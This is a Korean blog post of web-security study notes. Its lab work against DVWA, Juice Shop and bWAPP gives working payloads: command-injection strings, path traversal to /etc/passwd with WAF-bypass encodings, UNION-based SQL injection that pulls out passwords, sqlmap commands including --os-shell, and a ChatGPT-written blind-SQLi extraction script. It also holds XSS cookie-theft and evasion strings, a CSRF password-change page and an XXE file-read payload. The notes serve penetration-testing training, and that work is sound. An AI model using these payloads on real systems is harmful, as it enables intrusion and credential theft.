애플리케이션 보안 총 정리

올빼미·2024년 11월 12일

개요

정보보안

: 정보에 대한 승인 받지 않은 접근, 이용, 노출, 변조, 파괴로부터 보호하는것.

정보보안 범위

  • 보안감사
  • 악성코드
  • 정책
  • 관제
  • 인프라보안
  • 인증
  • 포렌식
  • 취약점
    ####정보보안의 분류
  • 물리 / 관리적,정책적 보안 / 기술적 보안
    ####정보보안 목표
  • 기밀성
  • 무결성
  • 가용성

업무 범위

애플리케이션 보안

: 소프트웨어 개발 단계에서 시작하여 애플리케이션의 보안성을 확보하는 것.

  • 애플리케이션 전체 수명주기를 통해 수행
    -> 수명주기
  • 요구사항 분석 단계
  • 설계 단계
  • 개방 단계
  • 테스트 및 검증 단계
  • 배포단계
  • 유지보수 단계

애플리케이션 보안 대책

  • 적절한 인증 및 권한 부여
  • 입력 데이터 검증
  • 적절한 보안 프로토콜 사용
  • 암호화된 저장소
  • 적절한 로깅 및 모니터링
  • 취약점 검사 및 패치
  • 보안 인식 증진

도구 및 기술

  • SAST : 정적 분석 도구
  • DAST : 동적 분석 도구
  • IAST : 정적과 동적 분석을 결합
  • RASP : 보안 취약점 탐지와 보호
  • WAF : 방화벽

애플리케이션 보안 가이드

  • API보안 : 다른소프트웨어 애플리케이션과 상호 작용하는 데 사용되는 인터페이스를 보호하는 것
  • OWASP : 가장 일반적인 보안 취약점 10가지 설명하는 목록
  • SANS : 가장 위험한 소프트웨어 취약점을 설명하는 목록

웹 개요

HTTP : 인터넷에서 데이터를 주고받기 위한 프로토콜 중 하나

++ 캐싱 : 웹 서버의 응답을 캐시에 저장해 두었다가, 동일한 요청이 들어오면 캐시된 응답을
반환
++ 프록시 캐싱 : 프록시 서버가 원 서버에서 받은 응답을 캐시에 저장하여, 이후에 같은 요청이 들어올 때 캐시된 응답을 반환하는 방식

HTTP 헤더


GET : 메소드
HTTP/1.1 : 프로토콜 버전
www.example.com : 도메인
User-Agent : 환경정보

HTTP Body

HTTP Method

• GET: 서버로부터 정보를 요청하는 메소드. 주로 웹 브라우저가 웹
페이지를요청하는데사용
• POST: 서버에 새로운 데이터를 전송하는 메소드. 주로 폼 데이터를
전송하는데사용
• PUT: 서버에 데이터를 추가하거나 갱신하는 메소드. 파일 업로드와
같은작업을처리하는데사용
• DELETE: 서버에서 데이터를 삭제하는 메소드. 주로 파일 삭제와
같은작업을처리하는데사용
• HEAD: GET 메소드와 유사하지만, 서버에서 응답 본문을 반환하지
않고, 응답 헤더 정보만반환하는메소드
• OPTIONS: 서버에서 제공하는 HTTP 메소드를 확인하는 메소드
• TRACE: 서버로 전송된 요청 메시지를 반환하여 디버깅에사용하는
메소드
• CONNECT: 프록시 서버를 통해 원격 서버에 연결하는 메소드

URL

: 인터넷 상의 자원 위치를 나타내는 표준 주소 체계

• 프로토콜(Protocol): 인터넷 상에서 리소스에 접근하기 위해 사용되는
프로토콜로, 일반적으로 HTTP, HTTPS, FTP 등이 사용
• 호스트(Host): 리소스가 위치한 서버의 도메인 이름 또는 IP 주소
• 포트(Port): 서버에서 리소스에 접근하기 위한 포트 번호
• 경로(Path): 서버 내에서 리소스의 위치를 지정하는 디렉터리 경로
또는파일이름
• 쿼리스트링(Query String): 리소스를 요청할 때 추가적인 정보를
서버에전달하기위해사용되는매개변수
• 프래그먼트(Fragment): HTML 문서에서 특정 요소를 지정하기 위해
사용되는이름또는숫자

특수 기호

• / : 디렉토리 구분자로 사용되며, 서버 내에서 리소스의 위치를지정
• ? : 쿼리 문자열의 시작점이며, 추가적인 매개변수를 URL에 전달
• & : 쿼리 문자열에서 매개변수를 구분하는 데에사용
• = : 쿼리 문자열에서 매개변수 이름과 값을구분하는데에사용
• % : URL 인코딩에 사용되며, URL에서 허용되지 않은 문자를 대체

SSL , TLS

: 웹에서 데이터의 보안을 강화하기 위해 사용되는 암호화 프로토콜

  • 공개키 암호화

• 데이터 보호: SSL/TLS는 데이터를 암호화하여 외부로부터의노출을방지
• 인증: SSL/TLS는 인증 기능을 제공하여 서버와 클라이언트간의안전한
통신을보장
• 무결성 보호: SSL/TLS는 데이터 무결성을 보호하여 외부에서데이터를
변조할수없도록함
• SSL/TLS 핸드셰이크: 클라이언트와 서버 간의 안전한 연결을 설정하는
프로세스로, SSL/TLS 핸드셰이크를 통해 데이터 보호 및 인증과같은보안
기능을수행

HTTP 응답코드


중요한 것 5개 : 301, 403, 404, 500, 501

  • 301 :
  • 403 : 권한부족
  • 404 : 페이지 없음
  • 500 : 서버 측 에러
  • 501 : 허용 X

SSS

: 서버 측 스크립트 언어=서버가 받아들이고 응답하는 언어

CSS

: 클라이언트 측 스크립트 언어=클라이언트 측의 웹 브라우저가 직접 이해하고 해석해 적용하는 언어

쿠키

: 클라이언트의 브라우저에 저장되는 작은 데이터 파일

  • 서버에서 클라이언트로 전송되어 클라이언트의 로컬 저장소에 저장
  • 인증정보나 사용자의 선호설정, 이름 날짜및 속성을 가짐

• Expires: 쿠키의 유효기간을 나타냄. Exprises의 값이 없을 경우
현재작업세션까지만유효
• Domain: 쿠키를 사용할 수 있는 도메인을 나타냄
• Path: 쿠키가 전송되는 URL 경로를 나타냄
• secure: HTTPS를 사용할 경우 설정되는 속성
• HttpOnly: 이 속성이 설정되면 스크립트가 쿠키의 접근을 제한

세션

: 서버에서 유지되는 클라이언트의 상태 정보

  • 클라이언트가 웹사이트에 접속->서버는 세션을 생성
    +세선 ID를 클라이언트의 쿠키에 저장->다음요청때 서버가 세션ID를 확인하여 클라이언트의 상태정보를 유지

OWSAP Top 10

: 웹 애플리케이션에서 가장 일반적인 보안 취약점 10가지를 설명하는 목록

• A01:2021 - 손상된 액세스 제어
• A02:2021 - 암호화 실패
• A03:2021 - Injection
• A03:2021 - Injection
• A05:2021 - 잘못된 보안 구성
• A06:2021 - 취약하고 오래된 구성 요소
• A07:2021 - 식별 및 인증 실패
• A08:2021 - 소프트웨어 및 데이터 무결성 실패
• A09:2021 - 보안 로깅 및 모니터링 실패
• A10:2021 - 서버 측 요청 위조(SSRF)

SANS Top 25

: 보안 취약점 목록
SANS : 정보보안 전문가들의 교육및인증, 보안취약점분석및대응등을지원하는국제적인정보 보안교육및연구조직

:
:

CSRF : 공격자가 희생자의 권한을 이용하여 특정 웹 사이트에 대한 요청을 위조하는 기술

  • 희생자의 브라우저에 특정 요청을 실행시키는 링크를 삽입->공격자가 원하는 요청을 실행
  • 사용자가 인증되어있고, 인증 정보가 쿠키에 저장되어 있는 경우에 발생

SSRF : 공격자가 취약한 웹 어플리케이션의 서버 내부 리소스에 대한 요청을 위조하는 기술

  • 공격자가 앱의 서버 내부 리소스에 대한 요청을 보내도록 유도->해당 요청을 이용하여 리소스에 대한 정보 탈취
  • 보안설정이 미흡하거나 입력값 검증 등에서 오류가 발생할 때 발생

실무환경에서의 주요 취약점

11개 정도의 취약점이 존재 (공식 및 비공식 가이드 : 2개)
1) 주요통신기반시설 취약점 가이드(KISA) : 28개
2) 전자금융기반 취약점 가이드(금보원) : 48개(결제,주요정보마스킹)
공공기관(공기업) : 매년 주통기반 점검 사업이 있음(산출물만 있음됨)
-> 국정원 정보보안관리실태평가 가 존재

주요 점검 항목(11개)

  • SQL i : SQL 쿼리를 통해 정보 노출(DB)
  • 세션 재사용 : Cookie 재사용
  • XSS(Strored, Reflected) : 스크립트를 통해 원하는 명령어 실행
  • File Upload : 게시판 or PUT 통해 서버로 업로드
  • File Download : 서버에 존재하는 파일을 로컬로 다운로드or열람
  • 정보노출 : 버전 정보 노출
  • 관리자페이지 노출 : 관리자 페이지 노출
  • 인증우회 : 로그인 과정에서 우회
  • 디버깅 정보(소스) : 소스코드에 존재하는 주석 내용
  • 파라미터 조작(결제, 타인정보 열람, 권한없는 게시판 글 쓰기 등..)

++ Gobal CIS Benchmark : 인프라에 대한 취약점 점검 가이드


1. 디렉토리 인덱싱(경로순회)

: Path가 노출되어 접속이 가능한 취약점
ex) http://test.com/backup/
->위 주소에 접속해서 backup디렉토리에 저장된 파일 열람 가능

  • 도구 : gobuster 또는 dirb
    gobuster dir -u http://jucieshop -w wordfile
    -> cp /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt . (Desktop경로에)
    Kali는 /usr/share 경로에 모든 도구와 필요한 정보가 있음
    -> dirb http://juiceshop
  • 두 도구 차이점 : gobuster는 내가 지정한 경로 기준으로 디렉토리만 점검
    dirb는 디렉토리 및 파일명까지 점검, 하위 디렉토리까지 연계해서 점검해줌
    -> 완화 : 폴더별 권한으로 접근제어 설정, 서버 설정을 통해 가능(apache.conf를 통해 디렉토리 인덱싱이 가능한 폴더 지정 가능)

2. Brute-Force 공격

: 무차별 대입공격

  • 웹 애플리케이션 진단에서는 사전대입 기반 공격을 사용
    *사전대입 : 이미 알려진 단어를 사용하는 방식
    1) BurpSuite 의 Intruder 기능 이용
    2) Python으로 코드 작성 > ChatGPT에 입력하면 바로 작성가능

  • 로그인 취약성, 파라미터 조작(API, 글번호, 개인정보, 결제 등)
    ex) http://test.com/login?id=admim&pw=1234
    ->1234 데이터 대신에 사전기반 데이터를 넣어 취약한 비밀번호 찾기
    ex) http://test.com/profile?id=4
    ->1 대신에 다른 데이터를 넣어 페이지 접근 확인

  • 작업프로세스 : proxy 기능을 통해 브루트포싱 할 패킷 수집 > Intruder로 패킷 보내기 > 공격할 포지션 지정 > 사전파일 입력 > 공격
    *로그인 과정을 점검할때는 로그인 Lock기능(5회 실패 시 Lock)이 있는지 확인 후 시도

  • 완화 : 유저토큰 값을 비교하여 매 로그인마다 비교하여 유효성 체크
    세션에 대한 재사용 제약(code 기반의 공격방어)

  • 차단 : 5회 실패시 계정 잠금 설정이 가장 바람직함(100%), 시큐어 코딩

  • 파라미터 완화 : IDS나 WAF에서 가능(같은 페이지 내 초당 접근 횟수 제한)
    Rule : 1초 5번 이상의 패킷이 서버로 전송 탐지

3. Command Injection

: 명령어 주입 공격, 명령어 : OS에서 지원하는 명령어

  • 임베디드(공유기, 프린터, CCTV 등 )라는 장비에서 많이 발견
    ex) http://test.com/cmd?=;ls
    ->명령어를 추가로 사용할 수 있는 입력문자열을 통해 추가 명령어 실행
    -> ; , | , || , && 4개의 문자열이 대표적인 추가 명령어 실행 입력 값
    -> 4가지 입력 값을 가지고 넣어 볼 수 있는 경우의 수(우회)
    ip=127.0.0.1
    1) 127.0.0.1 ; ls 데이터 간에 공백 입력
    2) 127.0.0.1; ls
    3) 127.0.0.1 ;ls
    4) 127.0.0.1%20;ls
    5) 127.0.0.1%00;ls
    6) 4) 127.0.0.1;%20ls
    7)127.0.0.1;%00ls

4. File Inclusion

: 파일 참조 공격

  • L(Local)FI, R(Remote)FI 으로 두가지

  • LFI : 경로순회, 파일다운로드 취약점과 연관성이 있음
    ex) http://test.com/abcd/page?path=../../../../../../../etc/passwd
    -> ../ >> 상위 디렉토리를 의미
    -> 화면에 /etc/passwd 파일 내용이 출력
    ex) http://test.com/abcd/page?down=../../../../../../etc/passwd
    -> down이라는 함수에 의해 passwd파일이 다운로드됨
    -> 게시판에 첨부파일이 있으면 첨부파일 클릭시 다운로드 주소가 보통 공개됨

  • WAF(웹 방화벽) 우회
    하기위해 '../'에 대해 인코딩 기법(URL, HTML)을 사용
    1) ..%2F = ../ 와 같음 (URL 인코딩)
    2)forward:/etc/passwd 와 같이 forward함수 사용
    3)../../../../etc/passwd%00 파일명 끝에 널문자 삽입
    4) ....//....//....//....//....//....// 와 같이 2중 경로 입력

  • RFI : 원격 파일 참조 공격
    ex) http://test.com/abcd/page?id=http://google.com
    test.com화면에 google.com화면이 같이 출력됨

  • RFI 우회 기법
    -> htthttp://p://

  • LFI or RFI 취약성 가지는 구조
    ex) http://test.com/abcd/page?id=index.html
    와 같은 구조가 취약한 구조를 가짐
    %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd
    -> 완화 : 특정 페이지 만 입력되도록 지정
    경로순회 문자열 필터링(시큐어코딩, 인코딩 및 널문자 고려)

File Upload

: 게시판을 통해 악성파일(웹셸)이 업로드 되는 형태의 취약점

  • Method를 통해 업로드 (ex-PUT)
    -> (민간기준)악성파일 업로드가되도 실행되지 않으면 취약하지 않음
    -> (공공기준)악성파일 업로드만 되도 취약
    (but 업로드 했는데 확장자와 내용이 다르면 인정x)
  • 악성파일의 기준 : asp,jsp,php,html,sh,exe,py,.go,syg 확장자

업로드 취약점에 따른 운영채제

-> 유닉스 : 권한 기반으로 동작
-> 원도우 : 확장자 기반으로 동작
==> 웹서버의 운영체제 식별에 따라 점검시간 단축!

  • 운영체제 식별 방법 : ping IP
    -> 유닉스:ping허용 / 윈도우:막힘
    -> test.com dimain이 있다 > nslookup test.com 으로 ip확인 가능

파일업로드 취약점 찾기 시작!

1) 운영체제 식별
2) 운영체제에 따른 파일 업로드 선택**
2.1) 윈도우 : 확장자 변경 불가 -> 확장자 막혀 있으면 우회 불가
2.2) 유닉스 : 확장자 변경 가능 -> 실행 가능한지 확인(권한 체크)

// ori:test.jpg -> test.jpg 변경해서 업로드 시도 -> test.jpg 접속 시 셸 실행 체크
//원도우 : ori:test.jpg -> test.jpg 변경후 업로드 시 jpg 파일로 인식

3) 유닉스 일때 우회방법(중복 사용 가능)
3.1) 확장자 변경 : jsp > jpg 로 변경하여 업로드(실행췤
3.2) Content Type 변경 > Body 구조에 ContentType이 나옴
3.3) 파일 Header(:파일을 16진수로 볼때, 8바이트 이내) 추가
-> 한가지씩 할수도 있고 중복으로 할수도 있음.

악성파일 실행 조건

1) 업로드 경로(폴더)의 실행 권한 필요
2) 업로드된 파일의 경로 노출(:업로드 된 파일의 전체 경로 필요)

SQL Injection

: 데이터베이스의 Query를 통해 DB에 저장된 데이터를 추출 하는 공격 기법

용어

DATABASE : 데이터가 저장된 저장소를 통칭하는 말
TABLE : 데이터베이스에 저장된 개인 저장공간
Column : 개체를 묶어서 부르는 이름 ( EX-010-1111-2222 )
-> 더이상 분할 X
-> 같은 테이블 안에 같은 컬럼명을 사용 불가

취약점 여부를 확인하는 2가지 방법

0) 내가 진단하는 대상이 DB를 사용하는지 확인!
-> 로그인과정, 회원가입, 게시판 글쓰기,검색기능이 존재하는지 확인
-> 이중 하나라도 있으면 DB 존재 !

1) Login Form 을 통한 취약성 테스트

  • Query : select id,pw from user where id='admin' and pw='password'
  • select : 검색
  • from : DB로부터 TABLE 지정
  • where : 조건
  • 1=1# 또는 1=1--
  • 1' or 1=1 --xf

2) 게시판 검색을 통한 취약성 테스트
Query : select id,subject,body from board where subject='test';
where subject='test'or 1=1#';

2.1) 게시판 외에 셀렉트 박스

  • SQLi의 정말 간단한 진단 방법 : '(singlequoter) 하나찍기

  • SQLisms 주석을 통해 쿼리를 우회하는 방식을 사용

  • SQL에서 주석을 나타내는 문자열 : #(Mysql), --(Oracle,MS-SQL) 총 2가지 타입이 존재

    ==> Goal : 사용자 비밀번호 추출

    0) 사용중인 Column 갯수 파악 필요
    + 'order by 2# 2>>입력컬럼,2개라는 뜻
    + 'union select 1# 1>>입력컬럼, 1개라는 뜻
    + 'union select 1,2,3# >> 칼럼갯수가 3개인지 확인
    + 'union select 1,1,1# >> 칼럼갯수가 3개인지 확인
    1) version
    -> 'union select @@version, 1#
    2) DB name
    -> 'union select schema_name,1 from information_schema.schemata #
    3) Table name
    -> 'union select table_name,1 from information_schema.tables where table_schema='dvwa' #
    4) Column name
    -> 'union select column_name,1 from information_schema.columns where table_columns='users' #
    5) PW Check
    -> 'union select user,password from users #
    -> pw가 해시값으로 나옴!

  • hash
    ->입력 값에 대한 고유 hash값을 가짐(중복x)
    -> 동일한 입력에는 동일한 해시가 출력

    SALMAP 도구

    : SQLi을 자동화 해주는 도구 => 취약성 점검

  • 파이썬 기반의 오픈소스

  • 현재 알려진 SQLi 모든 기법을 사용, 모든 벤더 지원

    사용방법

    1) SQLi이 가능한 공격 포인트 찾기
    2) 세션 재사용 가능여부 판단
    -> 로그인을 해야만 접근 가능한 메뉴일 경우->dvwa:login을 해야만 페이지 접근 가능
    3) 데이터 수집 ( 패킷정보, URL )
    4) 공격 명령어 완성
    -> 4.1) url 방식의 공격방식
    ex) http://127.8.0.1/vulnerabilities/sqli/?id=1&Submit=Submit#

    • sqlmap -u --cookie --data -p --batch --dump
      sqlmap -u 'http://127.8.0.1/vulnerabilities/sqli/'
      'id=1&Submit=Submit#'
      --cookie='PHPSESSID=kl6hvr58al4pnmafmtvgsfc832; security=low'
      --data 'id=1&Submit=Submit'
      -p id --batch --dump
    • -u : 취약저이 존재하는 url주소
    • --cookie : 세션정보
    • --data : 파라미터 영역 지정
    • -p : 파라미터 영역에서 취약한 파라미터 지정
    • --batch : sqlmap을 이용한 취약점 진단 자동화
    • --dump : 사용자가 만든 DB기준으로 모든 데이터 출력

    -> 4.2) 패킷 데이터 방식의 공격

    • sqlmap -r file --data -p --batch --dump
      sqlmap -r sql.rp --batch --dump
    • -r : 데이터 패킷 구조의 파일로 지정
      ** -os-shell 옵션이 존재 : 셸 연결 옵션
    • bwapp SQL i(Login Form/Hero)
      1) user Create Table Name 을 찾는 쿼리
      'union select 1,table_name,1,4 from information_schema.tables where table_schema !='infromation_schema' and table_name !='blog' and table_name !='Heroes' and table_name!=Movies#
      // user creat table name = blog, Heroes, Movies
      2) Column name 찾기
      'union select 1,column_name,1,4 from information_schema.columns where table_name='heroes' and column_name!='id' and column_name!='Login' and column_name!='Password'#
      /// column = id, login, password
      3) password 찾기
      'union select 1,login,2,password from heroes where login!='Neo' and login!='Alice' login!='Thor' #sqlmap -r sql.rp --batch --dps
      juiceshop
      sqli >>> test@test.com'
      select email,password from users where email="or 1=1 and email!='admin@juice-sh.op' --' and password=" ;
      'or 1=1 and email!='admin@juice-sh.op' and email!='jim#juice-sh.op' --
      ==> 이런식으로 로그인을 해보고 나온값으로 쿼리를 이어감

Blind SQL Injection

: SQLi 중에 하나.

  • SQLi 가 불가능하면 Blind도 불가능
  • substr 쿼리를 통해 문자열을 하나씩 뽑아내는 방식
    1' and length(database()) = 4 # <<데이터베이스 이름 길이 파악
    -> 쿼리가 정상 동작하면 정상 입력 결과 반환 메시지와 같음
  • 문자열이 4개일 경우 >> db이름이 'test' >> t파악을 위해 26번 , e 26번,
    1' and substr(database(),1,1) = 'd' #
    1' and substr(database(),2,1) = 'a' #
  • GPT를 통해 코드 작성 가능
    GET /vulnerabilities/sqli_blind/?id=1'+and+length(database())+%3D+4+%23&Submit=Submit HTTP/1.1
    Host: dvwa
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate, br
    Connection: keep-alive
    Referer: http://dvwa/vulnerabilities/sqli_blind/?id=1%27+and+length%28database%28%29%29+%3D+4+%23&Submit=Submit
    Cookie: PHPSESSID=5qrsh8frq837428v8hm5i5tpl1; security=low
    Upgrade-Insecure-Requests: 1

< 챗지피티한테 명령 >

id=1'+and+length(database())+%3D+4+%23 와 같이 블라인드 SQLi 을 점검 하는 python code를 작성할거야.
데이터베이스 이름을 확인할때 응답값에 데이터가 틀리면
'User ID is MISSING from the database' 라고 응답되고, 정상적인 데이터로 확인되면 'User ID exists in the database' 라는 문자열이 리스폰되.
이를 기반으로 데이터베이스 이름을 추출 하는 최종 코드를 작성해줘

import requests

  • DVWA 서버의 URL과 헤더 설정
    url = "http://dvwa/vulnerabilities/sqli_blind/"
    headers = {
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
    "Cookie": "PHPSESSID=5qrsh8frq837428v8hm5i5tpl1; security=low",
    }

  • 정상적인 응답과 실패한 응답을 구분하는 기준 문자열
    success_response = "User ID exists in the database"
    failure_response = "User ID is MISSING from the database"

  • 데이터베이스 이름의 길이를 찾기
    database_length = 0
    for length in range(1, 21): # 보통 20자를 초과하지 않음
    payload = f"1' AND length(database()) = {length} #"
    response = requests.get(url, headers=headers, params={"id": payload, "Submit": "Submit"})

if success_response in response.text:
database_length = length
print(f"Database length found: {database_length}")
break

  • 데이터베이스 이름을 하나씩 추출
    database_name = ""
    for i in range(1, database_length + 1):
    for char in range(32, 127): # 일반적인 ASCII 문자 범위
    payload = f"1' AND ascii(substr(database(), {i}, 1)) = {char} #"
    response = requests.get(url, headers=headers, params={"id": payload, "Submit": "Submit"})

if success_response in response.text:
database_name += chr(char)
print(f"Found character {i}: {chr(char)}")
break

print(f"Database name: {database_name}")
'''

위에 알려준 코드가 동작이 잘되,

데이터베이스 이름을 확인하고 응답된 데이터 베이스 이름을 대상으로 테이블 이름을 출력하는Blind SQLi 코드를 추가해줘

1' and substr((select table_name from information_schema.tables where table_schema='name' limit1,1),2,1) = 'a' #

Browser Dev Tool 사용법

  • 개발자도구, F12
  • 사용 목적 : Req, Res 데이터 확인, 소스코드 추적(Inspect), 입력 길이 제한 해제, 디버깅 기능 사용, 쿠키 값 고정(Storage)

XSS(Stored,Reflected) + 세션재사용

: 스크립트가 실행 가능한 취약점(js)

  • 저장형태와, 반사 형태로 구분됨

  • Stored : 저장형태, 클라이언트에서 실행되는 형태 > 저장(코드)은 서버에 저장되나, 저장된 데이터에 클라이언트가 접속 시 스크립트가 클라이언트 단에서 실행되는 구조
    -> 게시판, 입력을 통해 서버에 반영되는 form(개인프로필, 게시판 댓글,)
    게시판에 스크립트 작성 >> 게시판 접근 >> 스크립트 실행

  • Reflected : 반사형태, 클라이언트에서 실행, > 코드가 서버에 저장되는 구조가 아닌, 주소에 스크립트가 포함된 구조
    -> 검색기능이 있는 위치
    ->검색어에 스크립트 구문 입력 > URL을통해 스크립트 확인 > 스크립트가 포함된 링크 전달

  • 저장형태, 반사형태에 사용되는 스크립트 구문 동일, 즉 스크립트가 사용되는 위치에 따라 유형이 나뉠뿐

<script>alert(document.cookie)</script>
<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
<IMG """><SCRIPT>alert("XSS6")</SCRIPT>">
\";alert('XSS39');//
frmSHCODE;prompt(document.cookie);//
<script>alalertert(docudocument.cookiement.cookie)</script>
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgieHNzIik8L3NjcmlwdD4=">
<img src=x onerror="alert(atob('SElHSFRFU1RYU1M='))">
<img src=x onerror="eval('alert(\"XSS\")')">
"); prompt(1); \\

mXSS (Mutant, 변종)
<style><a alt="</style><img src=x onerror=alert(1)>">
<svg><style><a alt="</style><img src=x onerror=alert(1)>">
<form><math><mtext></form><form><mglyph><style></math><img src onerror=alert(1)>

<script>alert('subject')</script>

->

<sc

Reflected :: URL주소 기반의 취약점, 다만, 세션 정보가 필요한 경로일 경우 타겟이 되는 클라이언트에 전송은 불가
검색 기능을 통해 취약점이 식별되면 세션 정보와 상관없이 취약으로 판단

Cookie 탈취
index.php 생성

php -S 0.0.0.0:8888

게시판에 cookie 탈취 게시글 작성

세션 정보 탈취 확인

  • 세션 재사용 관점
    1) 완전히 로그아웃 후 수집한 세션정보로 접속 시도
    ::로그아웃과 로그인이 된 상태에서 브라우저를 종료하는 것은 세션 종료가 다름
    로그아웃 기능을 이용하면 서버에 더이상 통신을 하지 않겠다가 전송됨
    브라우저를 종료하게 되면 서버는 계속해서 세션 정보를 가지고 있음(Zombie Session)

2) 수집한 세션 정보를 토대로 code기반의 사용 여부(python 등)

CSRF

: 데이터에 대한 재사용(스크립트or 코드 기반)

  • 스크립트 또는 html 태그가 되야 공격이 가능 >> XSS가 가능해야 CSRF도 할 수 있음
    :: 취약영역 > 비밀번호 변경, 게시글 올리기 등 반복적인 작업에서 취약성 발생
    -> 구조가 노출되어야함 : 스크립트나 HTML태그로 구현이 가능할 경우
<html>
<head></head>
<body>
<a href="http://dvwa/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change"> Click</a>
</body>
</html>
  • 연계해서 봐야하는것!! >> 재사용 공격
    ++ 세션에 대한 재사용 !! >> 내가 브라우저에 정상적인 로그인을 해놓으면 세션은 해당PC에서 코드로 작성하면 재사용이 가능 :: 프로세스 검증 누락

SSRF

  • 서버에서 실행되는 취약점
    ::XXE : XML 구조를 이용해 서버에서 원하는 코드 실행
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY XXE SYSTEM "file:///etc/passwd">
]>
<reset>
<login>&XXE;</login>
<secret>1</secret>
</reset>
  • 관리자페이지 노출
    -모든 설정이나 관리가 가능한 페이지(공지사항, 게시판 생성....)
    -접근제어가 설정되지 않아 외부에서 인가받지 않은 사용자가 접근이 가능한 취약점
    -관리자 페이지는 크게 2가지로 구성됨
    1) 서브 도메인 방식의 관리자 페이지(subfinder)
    2) URL에 admin page 노출(test.com/admin)
    -> 로그인 페이지 > 브루트포스 공격 수행(5회 제한 없을 경우)

웹 상에서 제일 많이 발생하는 취약점

  • SQLi

  • XSS

  • 정보노출

  • 디버깅 정보

  • 파일업로드

  • FI,LFI,RFI

  • Command I(;,|,||,&&)

  • 관리자 페이지 노출

  • 리다이렉트(포워드)

  • 세션 재사용(쿠키,소스코드)

  • 오류페이지 처리

  • 디렉토리 인덱싱

  • 포트식별(SMB)

  • 파라미터 조작&파일 다운로드

  • SSL & TLS Version Check

  • SSRF+CCSRF

취약점을 찾는 도구 목록

  • Subfinder
  • gobuster
  • dirb
  • nikto
  • owasp-zap
  • Burpsuite
  • curl
  • NucleiFuzzer
  • nmap
  • nsloopup
  • shodan.io

SAST

  • 사용 명령어들
    #sysctl -w vm.max_map_count=524288
    : 하나의 프로세스가 매핑할수 있는 최대 메모리 사이즈(영역)
    #sysctl -w fs.file-max=131072
    : 시스템에서 오픈할 수 있는 최대 파일 갯수
    #ulimit -n 131072
    : 시스템에서 파일을 오픈할수 있는 최대 값, 특정 사용자에게 적용
    #ulimit -u 8192
    : 사용자당 생성할 수 있는 최대 프로세스 수

#apt update
#apt install openjdk-17-jdk -y
: 자바 설치
#apt install docker.io -y
:도커 설치=전에 이미함
#docker run -d --name sonarqube -p 9000:9000 -p 9092:9092 sonarqube
:sonarqube 도커 이미지 설치

#docker images
: 설치된 도커 이미지 목록 출력
#docker ps -a
: 실행되고 있는 도커 이미지 목록
#docker start sonarqube
: 도커 이미지 실행
#docker stop sonarqube
: 도커 이미지 종료

  1. 프로젝트 생성
    메인 dashboard > local project create > project name conf > use the gobal setting 선택 > 프로젝트 생성 후 토큰 생성을 위해 > locally 선택 > token name 확인후 genterate 클릭 > continue > other > linux > 출력된 내용 복사
profile
시들시들한 올빼미

0개의 댓글